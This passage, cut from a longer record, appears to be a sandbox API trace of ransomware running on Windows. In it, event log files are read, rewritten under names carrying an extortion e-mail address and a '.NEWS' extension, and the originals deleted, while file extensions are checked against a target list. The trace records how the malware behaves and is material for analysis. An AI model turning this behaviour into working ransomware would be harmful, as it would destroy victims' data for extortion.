lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x1010, lpOverlapped=0x0) returned 1 [0079.790] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x1020, lpOverlapped=0x0) returned 1 [0079.795] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.795] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x126, lpOverlapped=0x0) returned 1 [0079.795] SetEndOfFile (hFile=0x35c) returned 1 [0079.880] CloseHandle (hObject=0x35c) returned 1 [0079.909] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.909] SetEndOfFile (hFile=0x37c) returned 1 [0079.910] CloseHandle (hObject=0x37c) returned 1 [0079.910] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.099] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0080.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.100] lstrlenW (lpString=".doc") returned 4 [0080.100] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString=".docx") returned 5 [0080.100] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.100] lstrlenW (lpString=".pdf") returned 4 [0080.100] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString=".xls") returned 4 [0080.100] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString=".xlsx") returned 5 [0080.100] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.100] lstrlenW (lpString=".ppt") returned 4 [0080.100] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.100] lstrlenW (lpString=".zip") returned 4 [0080.100] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString=".rar") returned 4 [0080.100] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString=".bz2") returned 4 [0080.100] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString=".7z") returned 3 [0080.100] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.100] lstrlenW (lpString=".dbf") returned 4 [0080.100] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.100] lstrlenW (lpString=".1cd") returned 4 [0080.100] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.100] lstrlenW (lpString=".jpg") returned 4 [0080.100] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.101] lstrlenW (lpString=".doc") returned 4 [0080.101] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString=".docx") returned 5 [0080.101] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.101] lstrlenW (lpString=".pdf") returned 4 [0080.101] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString=".xls") returned 4 [0080.101] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString=".xlsx") returned 5 [0080.101] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.101] lstrlenW (lpString=".ppt") returned 4 [0080.101] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.101] lstrlenW (lpString=".zip") returned 4 [0080.101] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString=".rar") returned 4 [0080.101] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString=".bz2") returned 4 [0080.101] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString=".7z") returned 3 [0080.101] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.101] lstrlenW (lpString=".dbf") returned 4 [0080.101] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.101] lstrlenW (lpString=".1cd") returned 4 [0080.101] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0080.101] lstrlenW (lpString=".jpg") returned 4 [0080.101] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.102] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.102] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0080.102] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.102] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0080.102] CloseHandle (hObject=0x37c) returned 1 [0080.102] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0080.102] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.102] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.103] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.103] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.103] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.103] GetLastError () returned 0x0 [0080.103] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.106] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.107] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.108] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x164, lpOverlapped=0x0) returned 1 [0080.108] SetEndOfFile (hFile=0x378) returned 1 [0080.108] CloseHandle (hObject=0x378) returned 1 [0080.110] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.110] SetEndOfFile (hFile=0x37c) returned 1 [0080.111] CloseHandle (hObject=0x37c) returned 1 [0080.111] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.112] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0080.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.112] lstrlenW (lpString=".doc") returned 4 [0080.112] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.112] lstrlenW (lpString=".docx") returned 5 [0080.112] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.112] lstrlenW (lpString=".pdf") returned 4 [0080.112] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.112] lstrlenW (lpString=".xls") returned 4 [0080.112] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.112] lstrlenW (lpString=".xlsx") returned 5 [0080.112] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.112] lstrlenW (lpString=".ppt") returned 4 [0080.112] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.112] lstrlenW (lpString=".zip") returned 4 [0080.112] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.112] lstrlenW (lpString=".rar") returned 4 [0080.112] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".bz2") returned 4 [0080.113] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".7z") returned 3 [0080.113] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.113] lstrlenW (lpString=".dbf") returned 4 [0080.113] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.113] lstrlenW (lpString=".1cd") returned 4 [0080.113] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.113] lstrlenW (lpString=".jpg") returned 4 [0080.113] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.113] lstrlenW (lpString=".doc") returned 4 [0080.113] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".docx") returned 5 [0080.113] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.113] lstrlenW (lpString=".pdf") returned 4 [0080.113] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".xls") returned 4 [0080.113] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".xlsx") returned 5 [0080.113] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.113] lstrlenW (lpString=".ppt") returned 4 [0080.113] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.113] lstrlenW (lpString=".zip") returned 4 [0080.113] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".rar") returned 4 [0080.113] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.113] lstrlenW (lpString=".bz2") returned 4 [0080.114] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.114] lstrlenW (lpString=".7z") returned 3 [0080.114] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.114] lstrlenW (lpString=".dbf") returned 4 [0080.114] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.114] lstrlenW (lpString=".1cd") returned 4 [0080.114] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0080.114] lstrlenW (lpString=".jpg") returned 4 [0080.114] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.115] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.115] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0080.115] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.116] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0080.116] CloseHandle (hObject=0x37c) returned 1 [0080.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0080.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.116] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.116] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.117] GetLastError () returned 0x0 [0080.117] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.119] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.122] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.122] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x160, lpOverlapped=0x0) returned 1 [0080.122] SetEndOfFile (hFile=0x378) returned 1 [0080.123] CloseHandle (hObject=0x378) returned 1 [0080.125] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.125] SetEndOfFile (hFile=0x37c) returned 1 [0080.126] CloseHandle (hObject=0x37c) returned 1 [0080.126] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.127] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0080.127] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.127] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.127] lstrlenW (lpString=".doc") returned 4 [0080.127] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.127] lstrlenW (lpString=".docx") returned 5 [0080.127] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.127] lstrlenW (lpString=".pdf") returned 4 [0080.127] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.127] lstrlenW (lpString=".xls") returned 4 [0080.127] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString=".xlsx") returned 5 [0080.128] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.128] lstrlenW (lpString=".ppt") returned 4 [0080.128] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.128] lstrlenW (lpString=".zip") returned 4 [0080.128] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString=".rar") returned 4 [0080.128] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString=".bz2") returned 4 [0080.128] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString=".7z") returned 3 [0080.128] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.128] lstrlenW (lpString=".dbf") returned 4 [0080.128] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.128] lstrlenW (lpString=".1cd") returned 4 [0080.128] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.128] lstrlenW (lpString=".jpg") returned 4 [0080.128] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.128] lstrlenW (lpString=".doc") returned 4 [0080.128] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString=".docx") returned 5 [0080.128] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.128] lstrlenW (lpString=".pdf") returned 4 [0080.128] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.128] lstrlenW (lpString=".xls") returned 4 [0080.129] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString=".xlsx") returned 5 [0080.129] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.129] lstrlenW (lpString=".ppt") returned 4 [0080.129] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.129] lstrlenW (lpString=".zip") returned 4 [0080.129] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString=".rar") returned 4 [0080.129] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString=".bz2") returned 4 [0080.129] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString=".7z") returned 3 [0080.129] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.129] lstrlenW (lpString=".dbf") returned 4 [0080.129] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.129] lstrlenW (lpString=".1cd") returned 4 [0080.129] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0080.129] lstrlenW (lpString=".jpg") returned 4 [0080.129] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.130] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.130] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0080.130] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.131] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0080.131] CloseHandle (hObject=0x37c) returned 1 [0080.131] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0080.131] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.131] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.131] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.131] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.131] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.132] GetLastError () returned 0x0 [0080.132] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.547] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.550] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.550] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: 